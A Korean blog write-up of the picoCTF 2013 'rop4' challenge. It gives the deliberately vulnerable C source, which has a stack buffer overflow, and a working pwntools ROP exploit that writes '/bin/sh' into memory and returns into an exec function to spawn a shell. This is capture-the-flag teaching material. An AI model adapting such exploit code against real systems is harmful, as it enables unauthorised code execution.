[pico CTF 2013] rop4

2018. 8. 16. 14:19CTF's Write-up

PICO  rop4번 마지막문제입니다! ㅎㅎ


이번문제는 소스코드가없으면 풀기 어려워서 소스코드도 같이 첨부하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <unistd.h>
#include <string.h>
 
char exec_string[20];
 
void exec_the_string() {
    execlp(exec_string, exec_string, NULL);
}
 
void call_me_with_cafebabe(int cafebabe) {
    if (cafebabe == 0xcafebabe) {
        strcpy(exec_string, "/sh");
    }
}
 
void call_me_with_two_args(int deadbeef, int cafebabe) {
    if (cafebabe == 0xcafebabe && deadbeef == 0xdeadbeef) {
        strcpy(exec_string, "/bin");
    }
}
 
void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}
 
void be_nice_to_people() {
    // /bin/sh is usually symlinked to bash, which usually drops privs. Make
    // sure we don't drop privs if we exec bash, (ie if we call system()).
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
}
 
int main(int argc, char** argv) {
    exec_string[0] = '\0';
    be_nice_to_people();
    vulnerable_function();
}
cs

보호기법부터 확인하면. 크게 다를게 없네요 ㅎ



소스코드를 이해해보면 취약한 함수는 이전문제와 같고, exec_the_string에서 exec_string을 실행합니다.
그러면 rop를 이용해서 리턴은 exec_the_string으로 돌려주고 인자로 "/bin/sh"가 들어간 exec_string을 인자로 넘겨주면 될 것 같습니다 ㅎ(grin)



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
 
r = process("./rop4")
 
exec_the_string = 0x08048ED0
exec_string = 0x080f112c
pppr = 0x0804960f
read_plt = 0x8053d20
 
payload = ""
 
payload += "A"*140
payload += p32(read_plt) + p32(pppr) + p32(0) + p32(exec_string) + p32(8)
payload += p32(exec_the_string) + "AAAA"
 
r.send(payload)
print("[+] send payload")
 
sleep(0.5)
r.send("/bin/sh")
print("[+] send shell")
 
r.interactive()
 
cs


'CTF's Write-up' 카테고리의 다른 글

tamuCTF2018 - pwn1  (0) 2018.08.21
[TJCTF2018] - Vinegar  (0) 2018.08.19
[pico CTF 2013] rop3  (0) 2018.08.16
[pico CTF 2013] rop2  (0) 2018.08.16
[TJCTF2018] - Cookie monster  (0) 2018.08.16